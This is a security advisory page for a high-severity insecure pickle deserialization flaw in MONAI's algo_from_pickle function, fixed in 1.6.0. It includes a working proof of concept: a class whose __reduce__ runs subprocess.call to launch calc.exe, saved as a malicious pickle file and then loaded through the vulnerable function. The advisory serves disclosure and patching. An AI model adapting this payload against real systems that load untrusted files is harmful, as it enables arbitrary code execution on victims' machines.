Skip to main content
VulnerabilityPublished Updated

MONAI: Unsafe functions lead to pickle deserialization rce

Affects monaiSource GCVE Database

0

CVSS 7.6 High : upgrade to 1.6.0 soon.

Data as of 2 Aug 2026, 21:26 UTC

CVSS 3.1 base score
7.6High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 1.6.0
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

What to do

Upgrade monai to 1.6.0.

Affected software

ProductAffectedFixed in
PyPImonaiAffected
  • <1.6.0
Fixed in
  • 1.6.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

A patch is available for this vulnerability. Users should upgrade MONAI to version 1.6.0 or later where this issue is fixed. Additionally, avoid deserializing untrusted pickle data or implement strict validation before deserialization.

Description

### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

References

Community reviews

Loading reviews…